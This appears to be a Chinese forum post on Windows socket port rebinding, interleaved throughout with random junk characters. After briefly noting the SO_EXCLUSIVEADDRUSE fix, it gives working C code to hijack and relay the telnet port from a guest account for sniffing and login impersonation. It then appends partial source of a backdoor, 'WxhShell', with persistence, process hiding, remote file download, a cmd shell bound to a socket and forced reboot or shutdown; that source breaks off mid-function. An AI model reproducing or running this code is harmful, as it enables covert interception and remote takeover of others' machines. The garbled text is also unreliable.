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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: byTHSRt s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r&ys?@+G VoQhzp6& saddr.sin_family = AF_INET; >3*a&_cI=k =f23lA saddr.sin_addr.s_addr = htonl(INADDR_ANY); JNT|h zV F@HJ3O9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |tU wlc> rxs:)# ?A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f3imkZ( _0ZU I^# 这意味着什么?意味着可以进行如下的攻击: k)[c!\a[i UkXa mGoy3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e+<| *yY\d.6( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
sCmN|Q ^go3F{;4i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oad /xbp@/ $e{[fmx 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 7G7"Zule*j 8F'm#0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s}yN_D+V TA8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bj"fUI!dK m.\JO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &;`E3$> u.*}'C>^^v #include 4)>S3Yr #include KV-h~C #include ;.rY`<| #include JStEOQF4 DWORD WINAPI ClientThread(LPVOID lpParam); ]vPdj"7 int main() $pt~?ZZ3- { %mD{rG9 WORD wVersionRequested; Gd'_X D DWORD ret; ic4hO>p& WSADATA wsaData; 4@Z!?QzW BOOL val; V6h8+|hK SOCKADDR_IN saddr; ks
%arm& SOCKADDR_IN scaddr; r:Q=6j, int err; -3y SOCKET s; V#+F*w?&D SOCKET sc; d(@ ov^e- int caddsize; +JM@ kdE5b HANDLE mt; f*IvaY DWORD tid; Ed{sC[j= wVersionRequested = MAKEWORD( 2, 2 ); Crl:v8 err = WSAStartup( wVersionRequested, &wsaData ); ^QG<_Dm] if ( err != 0 ) { aR'~=t&;z1 printf("error!WSAStartup failed!\n"); ksJ 1:_ return -1; ImD&~^-_< } 'NCx <0* saddr.sin_family = AF_INET; VR%*8= ,rF!o_7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G:wO1f6 1C]BaPbL saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p:eaZ saddr.sin_port = htons(23); "q!*RO'a if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `B:hXeI { rhX?\_7o printf("error!socket failed!\n"); TJ>1?W\Z return -1; vA[7i*D{w } =P_*.SgR val = TRUE; Sfp-ns32%A //SO_REUSEADDR选项就是可以实现端口重绑定的 om=kA"&&Q
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q}0I`$MU { B-"F67 : printf("error!setsockopt failed!\n"); +(z[8BJl return -1; YfMs~}h, } QUfF>,[sv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W7@Vma` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -}( o+!nl //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #JY> #l.s>B4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T|j=,2_ { =vriraV" ret=GetLastError(); LyR<cd$W printf("error!bind failed!\n"); A:(qF.Tm return -1; 57]La^# } X?JtEQ~> listen(s,2); &.#dZ}J while(1) h?}S|>9 { 8Bh
micU caddsize = sizeof(scaddr); hd[t&?{= //接受连接请求 }odjaM}5Nc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k,8^RI07@ if(sc!=INVALID_SOCKET) t]iKU@3 { }<w9Jfr"X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %qqeL if(mt==NULL) vQy<%[QO { }w2Et printf("Thread Creat Failed!\n"); D0MW~Y6{ break; gS`Z>+V5!c } -/*VR$c } .|TF /b] CloseHandle(mt); ZP&iy$<L } _\=
/~>Xl closesocket(s); 4cJ/XgX WSACleanup(); *,*XOd:3TL return 0; 5Z"N2D)." } Y%@;\ DWORD WINAPI ClientThread(LPVOID lpParam) L `=*Pwcj { BQeg-M SOCKET ss = (SOCKET)lpParam; T!pZj_ h= SOCKET sc; "A5z!6T{ unsigned char buf[4096]; L'"c;FF02i SOCKADDR_IN saddr; ] \!,yiVeU long num; #e[r0f?U DWORD val; i }Zz[b DWORD ret; r(_Fr#Qn //如果是隐藏端口应用的话,可以在此处加一些判断 x") Bmw$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 /OMgj7olD saddr.sin_family = AF_INET; e eyZ$n saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A{T>Aac saddr.sin_port = htons(23); E8<,j})* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H`Zg-j` { *"6A>:rQs printf("error!socket failed!\n"); =4&"fZ"v return -1; kE!ky\E } +%~me? val = 100; sEZ2DnDI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qLKL*m { #SjCKQ~ ret = GetLastError(); nrXKS&6 return -1; "GJ.`Hj } D5].^*AbZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~XvMiWuo { 9(_n8br1 ret = GetLastError(); 9#~jlq( return -1; > %Hw008 } 6x/o j`_[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [biz[fm { Zw%:mZN
printf("error!socket connect failed!\n"); wqap~X closesocket(sc); S@~ReRew2 closesocket(ss); R?N+./{ return -1; Nd@/U
c } 02(Ob while(1) O0bOv S { ra_TN;( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =KD[#au6a //如果是嗅探内容的话,可以再此处进行内容分析和记录 t#-4edB, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +Q[SddI num = recv(ss,buf,4096,0); r&:yZN if(num>0) :6m"}8*q8 send(sc,buf,num,0); RQ#9[6w!v else if(num==0) iV\*7 break; - ku8n%u num = recv(sc,buf,4096,0); yZNg[KH if(num>0) o"A?Aq send(ss,buf,num,0); 3RcnoXX_ else if(num==0) Z *v`kl break; }>3jHWxLc } at2)%V) closesocket(ss); _.EM])b closesocket(sc); pE0@m-p return 0 ; vNZ"x)? } e ]2GAJLI
nf:wJ-;* 2uF'\y ========================================================== !.4q{YWcYk J @IKXhb7_ 下边附上一个代码,,WXhSHELL *xKy^f hQvI} ========================================================== V{\1qg{ NpbZt;%t #include "stdafx.h" fl4'dv =vDDfPR #include <stdio.h> `}a-prT<f #include <string.h> -KG1"g,2 #include <windows.h> gh `_{l
#include <winsock2.h> ofgNL .u #include <winsvc.h> bhfKhXh8 #include <urlmon.h> \`-xxhb?e ^(BE_<~ #pragma comment (lib, "Ws2_32.lib") b'ir$RL] c #pragma comment (lib, "urlmon.lib") 3u
s^\w# Kv#Q$$)r #define MAX_USER 100 // 最大客户端连接数 3J3wKw!` #define BUF_SOCK 200 // sock buffer n*#HokX #define KEY_BUFF 255 // 输入 buffer _U,Hi?b"$} 'I>geW?{QK #define REBOOT 0 // 重启 1p<*11 #define SHUTDOWN 1 // 关机 li#ep?5h^ )U8=-_m #define DEF_PORT 5000 // 监听端口 ZK<c(,oZ^ ]9wTAb #define REG_LEN 16 // 注册表键长度 (I{+% #define SVC_LEN 80 // NT服务名长度 N,F[x0&? /NuO>kQa // 从dll定义API k?
,/om1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U_UN& /f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ksk[sf?J& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C0ORBp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A+fXt`YNM %"|W
qxv // wxhshell配置信息 sn'E}.uhXH struct WSCFG { }"/>, int ws_port; // 监听端口 0^F!-b^z char ws_passstr[REG_LEN]; // 口令 e Dpt1 int ws_autoins; // 安装标记, 1=yes 0=no SI=7$8T5=5 char ws_regname[REG_LEN]; // 注册表键名 Ldy(<cN char ws_svcname[REG_LEN]; // 服务名 ITz+O=I4R] char ws_svcdisp[SVC_LEN]; // 服务显示名 3XncEdy_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 BJp~/H`vd char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^t`0ul]c int ws_downexe; // 下载执行标记, 1=yes 0=no y6H`FFqK char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" {c<cSrfI char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]v+yeGIK S fOP3`G^\ }; \GK]6VW ZJ/K MW // default Wxhshell configuration Nkn2\w struct WSCFG wscfg={DEF_PORT, #TB
3|= "xuhuanlingzhe", /#?!9c 1, o Z%oP V: "Wxhshell", Pa?C-Xn^ "Wxhshell", meGLT/
"WxhShell Service", CWb*bw0 "Wrsky Windows CmdShell Service", /HdjPxH "Please Input Your Password: ", ^#4<~zU 1, on1B~?*D " http://www.wrsky.com/wxhshell.exe", hK %FpGYA "Wxhshell.exe" tNYuuC%N }; B!4~A{ L} K8cB // 消息定义模块 NuXII- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AH:0h X6+ char *msg_ws_prompt="\n\r? for help\n\r#>"; x((Rm_' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; .
\8"f]~ char *msg_ws_ext="\n\rExit."; &QFc)QP{ char *msg_ws_end="\n\rQuit."; K :>O X char *msg_ws_boot="\n\rReboot..."; e^N}(Kpy char *msg_ws_poff="\n\rShutdown..."; 0="wxB char *msg_ws_down="\n\rSave to "; {??bJRT ^3QJv{)Q char *msg_ws_err="\n\rErr!"; {9cjitl char *msg_ws_ok="\n\rOK!"; zT>BC}~.b lx> ."rW char ExeFile[MAX_PATH]; lnK#q.] int nUser = 0; .kB!',v\ HANDLE handles[MAX_USER]; /?V- int OsIsNt; $M$-c{>s qTGi9OP6/ SERVICE_STATUS serviceStatus; gN]\#s@[ SERVICE_STATUS_HANDLE hServiceStatusHandle; ~9@83Cs2 HKVtO%& // 函数声明 VuD{t%Jb int Install(void); :4r*Jju<V int Uninstall(void); AP ]`'C int DownloadFile(char *sURL, SOCKET wsh); P#[?Kfi int Boot(int flag); ju1B._48 void HideProc(void); |w5,%#AeO$ int GetOsVer(void); {TDZDH int Wxhshell(SOCKET wsl); ((=T E void TalkWithClient(void *cs); aYc^ 9*7 int CmdShell(SOCKET sock); !.499H3 int StartFromService(void); !1Ht{cA0 int StartWxhshell(LPSTR lpCmdLine); 7j88^59 UtRwZ(09 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d)d0,fi?- VOID WINAPI NTServiceHandler( DWORD fdwControl ); v[)8 1uY TYCjVxfu$ // 数据结构和表定义 Q(x/&]7=V SERVICE_TABLE_ENTRY DispatchTable[] = 0g#x QzE { Y+5aT(6O {wscfg.ws_svcname, NTServiceMain}, bGxHzzU} {NULL, NULL} `v)ZOw9& }; lAkg47i \mWH8Z
}Z // 自我安装 ]Qe"S>,?` int Install(void) }]=@Y/p { L-%'jR char svExeFile[MAX_PATH]; m ^w{:\p HKEY key; NPDMv
|4 strcpy(svExeFile,ExeFile); TIK'A< RYdI$&] // 如果是win9x系统,修改注册表设为自启动 {]$ )dz5 if(!OsIsNt) { 2rb@Md]dx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yq[@Cw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); by\Sq} RegCloseKey(key); DcE4r>8B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |7${E^u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8\jsGN.$JZ RegCloseKey(key); &=XK:+ return 0; k *>"@ } 7xfS%'=y" } 3$.#\*s_4 } \s!x;nw[ else { pF(6M3>IN #$F*.vQSs+ // 如果是NT以上系统,安装为系统服务 kdaq_O:s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )KGz -!1c if (schSCManager!=0) 1MmEP { Qj$w7*U SC_HANDLE schService = CreateService 0E)M6
jJ ( nj1PR`AE schSCManager, ,H1K sN wscfg.ws_svcname, }F|B'[wn wscfg.ws_svcdisp, hE<Sm*HU SERVICE_ALL_ACCESS, }daU/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wfy+9"-;s SERVICE_AUTO_START, ^]Z@H/]H SERVICE_ERROR_NORMAL, KLG29G svExeFile, @uanej0q7 NULL, |*Oi:)qt NULL, p7HLSB2Rp NULL, P'DcNMdw NULL, |kTq
&^$ NULL W Bb*2 ); +r&:c[ if (schService!=0) 6;wKL?snO { S#<y_w% CloseServiceHandle(schService); 2'-84 CloseServiceHandle(schSCManager); |sEuhP\A3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F!p;]B strcat(svExeFile,wscfg.ws_svcname); cDK)zD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Iq{6O>D. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6YV"H RegCloseKey(key); 1g j GaC return 0; %F^,6y } h@o6=d=4 } #on ,;QN CloseServiceHandle(schSCManager); Kmw #Q` } G6+6uWvl } )PW|RW $\|Q+ 7lQ return 1; ?[P>2oz } ]2
$T 6 X4Pm&ol // 自我卸载 a6O <t;& int Uninstall(void) *adznd { xW2?\em HKEY key; ,eWLig
1'F!C if(!OsIsNt) { @^o7UzS4z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i"pOYZW1 RegDeleteValue(key,wscfg.ws_regname); Od:-fw RegCloseKey(key); ^P*-bV4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~>P(nI RegDeleteValue(key,wscfg.ws_regname); U<E]c 4* RegCloseKey(key); d={o|Mf return 0; `uZMln @ } f1;@a>X
} FCWk8/ } pjs4FZ`Pd; else { ?%Ww3cU+J e8#83|h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <q>d@Foi if (schSCManager!=0) )[|_q, { (E,Ibz2G:e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7upWM~H^ if (schService!=0) >5?:iaq
z { 7[UD;&\k if(DeleteService(schService)!=0) { q]VB}nO CloseServiceHandle(schService); gNc;P[ CloseServiceHandle(schSCManager); gS@<sO$d> return 0; y.6/x?Qc } .wyuB;: CloseServiceHandle(schService); $G5:/,Q } El: @l% CloseServiceHandle(schSCManager); &Yc'X+'4 } es~1@Jb
} #TC}paIpj y)a)VvU": return 1; &U7h9o H } 1N:~5S}s> i]L=M
5^C // 从指定url下载文件 m l@%H int DownloadFile(char *sURL, SOCKET wsh) +|7N89l { +!!G0Zj/ HRESULT hr; K+XUC char seps[]= "/"; %5DM ew char *token; e-[PuJ char *file; SynRi/BRmw char myURL[MAX_PATH]; ?u/UV,";y char myFILE[MAX_PATH]; BW}M/ }p?67y/ strcpy(myURL,sURL); |lg jI!iK token=strtok(myURL,seps); }L&LtW{X while(token!=NULL)
3bR%#G% { SbzJeaZv file=token; o4J@M{xb_ token=strtok(NULL,seps); g_N^Y } Jj5VBI!Ok
S~E@A.7 GetCurrentDirectory(MAX_PATH,myFILE); {
0&l*@c& strcat(myFILE, "\\"); <VutwtA strcat(myFILE, file); s{8=Q0^ send(wsh,myFILE,strlen(myFILE),0); G--(Ef%v' send(wsh,"...",3,0); :FfEjNil hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f}p`<z if(hr==S_OK) &/ED.K return 0; RqP_^tB else RyG6_G} return 1; B]:|;d BzkfB:wr } F|qMo| DV[FZ // 系统电源模块 `9+R]C]z8 int Boot(int flag) u@`a~ { G%;>_E HANDLE hToken; '3Q~y"C+4 TOKEN_PRIVILEGES tkp; pe2:~}WB w6)Q5H53) if(OsIsNt) { f 1+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VB#&`]rdo LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R!
On tkp.PrivilegeCount = 1; Lo#G. s| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c@"FV,L> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4,Oa(b if(flag==REBOOT) { <\O8D0.d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dJ Q K|/ return 0; W5= j&&|! } EhM=wfGKw else { bgKC^Q/F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M\ return 0; -!\%##r7~ } P=KhR&gwV~ } x<Gjr} else { NN1}P'6Ha if(flag==REBOOT) { m-ibS: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UZrEFpi return 0; O(!;7v} } h6^|f%\w*i else { sgGA0af if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -,T!/E return 0; V,0$mBYa } Wf"GA i } OKK Ko`RN D4|Ajeo;1 return 1; /4 OmnE; } "~._G5i. 9_iwikD // win9x进程隐藏模块 wWfj#IB;R void HideProc(void) vmrs(k "d# { ]1W xa? c s*E9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~;H,cPvrEg if ( hKernel != NULL ) CfP-oFHoQ { 3S]QIZ1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =_z o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8.N`^Nj 1 FreeLibrary(hKernel); A%HIfSzQBS } $p4e8j[EJ G9LWnyQt return; Sw,*#98 } /j}Tv.'d +Ln^<!P // 获取操作系统版本 GD]epr%V int GetOsVer(void) b @0=&4 { 'j,
([ OSVERSIONINFO winfo; 0XCAnMVo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6QbDU[ GetVersionEx(&winfo);
KN`k+!@/7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -6s:D/t1' return 1; jll:Rh(b else ,>7dIJqzw return 0; :r hB= } \G>C{v; 5[jS(1a`c // 客户端句柄模块 QOYMT( j int Wxhshell(SOCKET wsl) %<a3[TQd`\ { B ;E"VS0 SOCKET wsh; 9X=<uS struct sockaddr_in client; `y^\c#k DWORD myID; amC)t8L? Ao}<a1f while(nUser<MAX_USER) dVj2x-R) { :i?6#_2IC int nSize=sizeof(client); h8 N|m0W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5R~M@ if(wsh==INVALID_SOCKET) return 1; d7[^pN 1G5AL2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G~(\N?2 if(handles[nUser]==0) t,JX6ni closesocket(wsh); R@z` else hk:>*B} nUser++; sL~4~178 } d4 \ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6',Hs H@G$K@L return 0; 'G>XI;g } IauLT;! X LOcZadr // 关闭 socket Y* rujn{ void CloseIt(SOCKET wsh) b3R(O| { Kmaz"6A closesocket(wsh); l~o!(rpX nUser--; ?2~fvMWu ExitThread(0); [1kQ-Ko` } ;5[OS8 F%o!+%&7 // 客户端请求句柄 4jTO:aPh_ void TalkWithClient(void *cs) y-nv#Ejr { SF+L-R<e nCWoco.xy SOCKET wsh=(SOCKET)cs; gFHBIN;u char pwd[SVC_LEN]; S%}G 8Ty char cmd[KEY_BUFF]; p{LbTjdNc char chr[1]; Q\kWQOB_ int i,j; >zX^*T# YlbX_h2S" while (nUser < MAX_USER) { 9GCK3 )G^k$j if(wscfg.ws_passstr) { ^U5N!"6R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }aE' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xO>z
)3A //ZeroMemory(pwd,KEY_BUFF); %|}*xMQ i=0; Oj _]` while(i<SVC_LEN) { qna!j|90Lp )M+po-6$1 // 设置超时 \u[} fd_set FdRead; 7AT8QC`u struct timeval TimeOut; }#ta3 x FD_ZERO(&FdRead); IS(F_< . FD_SET(wsh,&FdRead); qm><}N7f TimeOut.tv_sec=8; s) U1U6O TimeOut.tv_usec=0; Qe_{<E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;xz_H$g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1-?i*C "J+L]IC?AD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "0jwCX
Cu pwd =chr[0]; ^-q{:lx if(chr[0]==0xd || chr[0]==0xa) { <Qih&P9;> pwd=0; Xzg >/w
8J break; vkhPE(f } iTAj${ > i++; ?.<
Qgd } ri8=u$! 9MZ)- // 如果是非法用户,关闭 socket hDB(y4/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3WQa^'u } uGC5XX^ %\48hSe send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TCRTC0_}k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V;MmPNP| WJONk_WAc while(1) { Bh=t%#y|` B<r0y ZeroMemory(cmd,KEY_BUFF); 5U7,,oyh :stHc,
// 自动支持客户端 telnet标准 .W~XX j=0; m0ra while(j<KEY_BUFF) { vA_,TS#Bo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KMy"DVqE cmd[j]=chr[0]; ynM~&]fk#k if(chr[0]==0xa || chr[0]==0xd) { ohKoX$|p~ cmd[j]=0; JYw? break; _"Ym]y28li } lG'D/# j++; IKP_%R8. } WM|G/'q )r{Wj*u // 下载文件 iZfZF if(strstr(cmd,"http://")) { Sdmz(R send(wsh,msg_ws_down,strlen(msg_ws_down),0); F*J1w|)F0 if(DownloadFile(cmd,wsh)) DVhBZ!u9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); t adeG else V~ KWy@7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pv2uZH( } RN)XIf$@_ else { r&a}U6k(y Wfd`v switch(cmd[0]) { }WFI/W' hzM;{g>t // 帮助 2qE_SSXn case '?': { #N`G2}1J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E`JW4)AH break; R_/;U&R } :$u[1&6 // 安装 W3!-;l case 'i': { <bhGpLh-E if(Install()) s(Gs?6}>T send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[X%17&t else <t(H+ykh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h?/E /> break; :]F66dh+ } WcSvw // 卸载 \K\eq>@6 case 'r': { R7(XDX=[s if(Uninstall()) &PV%=/-J send(wsh,msg_ws_err,strlen(msg_ws_err),0);
N#9N ^#1 else tL;.vRx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;yNY/ break; |%5Aku0`s } ({Md({| // 显示 wxhshell 所在路径 };rp25i case 'p': { _ s}aF char svExeFile[MAX_PATH]; !Ltx2CB2] strcpy(svExeFile,"\n\r"); )=}qAVO8 strcat(svExeFile,ExeFile); &aIFtlC send(wsh,svExeFile,strlen(svExeFile),0); }G{"Mp4 break; `)8~/G% } _GxC|d // 重启 w=_^n]`R case 'b': { n.9k5r@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W"@'}y if(Boot(REBOOT)) jq]5Y^e send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5SUO`4L else { '6NrL;
closesocket(wsh); Sd^I>; ExitThread(0); d.w]\ } 6BA$v-VVU break; ?`xF>P]M } [!;sp~ // 关机 t{},Th case 'd': { M}X ` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OHAU@*[lM if(Boot(SHUTDOWN)) }X8P5c!\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #J/RI[a else { Ig!0A}f closesocket(wsh); zMp vS rc ExitThread(0); t=}]4&Yp } rZ(#t{]=! break; .zdaY,
U } hx@@[sKF7 // 获取shell "__)RHH:8 case 's': { L7<30"7 CmdShell(wsh); ^"I@ 8 k closesocket(wsh); 6B@e[VtG$ ExitThread(0); YBj*c$.D0 break; yI|x
5f } F;`c0ja] // 退出 ]XlBV-@b case 'x': { 7=yM40 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,OwTi:yDr CloseIt(wsh); b7^q(}qE break; H~JgZ pw } +@fEw // 离开 NGi)Lh| case 'q': { 4Dzg r,V send(wsh,msg_ws_end,strlen(msg_ws_end),0); bnL!PsG$K, closesocket(wsh); 4|%Y09"lv WSACleanup(); q90RTX'CY exit(1); xC9?rLUZ break; O{3X`xAf } ]Kjt@F"; } arR<!y7 } y,rdyt Tz6I7S-w // 提示信息 dR=sdqS#J if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 40
u
tmC } _(m455HZ } a3M I+ W Pr:d return; 2Jiy`(P } ul_E{v (p#c p // shell模块句柄 &Hf%Va[B int CmdShell(SOCKET sock) 'W9[Vm { qF(i1# STARTUPINFO si; M9fQ,<c<6 ZeroMemory(&si,sizeof(si)); 6:}n}q,V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aUa+]H[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rkWy3X{%2< PROCESS_INFORMATION ProcessInfo; 7]?y
_%kT char cmdline[]="cmd"; C[Q4OAFG CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U:7w8$_ return 0; F> Ika=z, } 8VU(+%X WQCnkP // 自身启动模式 8MDivr/@ int StartFromService(void) ktfxb<% { J3 oUtu typedef struct Ux^ue9 { {I0!q"sF DWORD ExitStatus; &.2%p DWORD PebBaseAddress; 5G'2 Wby'# DWORD AffinityMask; a(fiW%eFb DWORD BasePriority; Vr&
GsT ULONG UniqueProcessId; >mvE[iXRG? ULONG InheritedFromUniqueProcessId; .%J<zqk- } PROCESS_BASIC_INFORMATION; v0\M$@N[ E*T6kp^b PROCNTQSIP NtQueryInformationProcess; 9-{.W Z Bkn]80W static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6*$A/D static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?r)>SB3(e ZB$yEW]]~ HANDLE hProcess; 6IK>v*< PROCESS_BASIC_INFORMATION pbi; Z?[R;V1j u&={hJ&7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
>_]Ov:5 if(NULL == hInst ) return 0; # ^,8JRA /8:e|
